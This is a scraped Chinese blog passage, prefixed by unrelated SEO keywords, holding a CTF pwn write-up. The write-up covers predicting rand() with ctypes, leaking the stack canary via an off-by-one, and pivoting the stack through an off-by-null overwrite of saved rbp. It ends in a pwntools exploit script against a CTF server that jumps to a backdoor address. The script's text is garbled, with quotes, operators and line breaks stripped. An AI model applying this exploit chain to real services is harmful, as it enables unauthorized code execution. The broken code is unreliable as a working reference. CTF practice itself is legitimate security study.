学做网站多长时间,wordpress sns主题,网站如何改造wap,wordpress增加快捷便签快捷文字一道精巧、包含很多要点的题目 一、题目 二、思路浅析
通过ctypes酷通过伪随机数检测#xff0c;没用srand指定随机种子时#xff0c;默认srand(1)。
通过puts_name的off-by-one来泄露canary
进入vuln时#xff0c;发现只能刚好填充到rbp前面#xff0c;但是会将最后一个… 一道精巧、包含很多要点的题目 一、题目 二、思路浅析
通过ctypes酷通过伪随机数检测没用srand指定随机种子时默认srand(1)。
通过puts_name的off-by-one来泄露canary
进入vuln时发现只能刚好填充到rbp前面但是会将最后一个字符的下一个字节置为0
——可以通过off-by-null来覆写main_rbp的低字节为0而vuln函数后面程序退出两次leaveret构成栈迁移且往低地址迁移一定概率落在覆写的“wish”字符串中。通过爆破多试几次即可。
三、exp
from pwn import *
from ctypes import *
context(archamd64,log_leveldebug)libccdll.LoadLibrary(/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so)# gdb.attach(io)
# raw_input()
while(1):ioremote(node4.anna.nssctf.cn,28895)io.recvuntil(bname\n\n)io.sendline(ba*39bb)io.recvuntil(baaab)canaryu64(io.recv(8))-0x0asuccess(hex(canary))libc.srand(1)numlibc.rand()%1000324io.send(p32(num))io.recvuntil(bcan make a wish to me\n)raw_input()backdoor0x4007C7payloadp64(backdoor)*11p64(canary)io.send(payload)raw_input()io.interactive()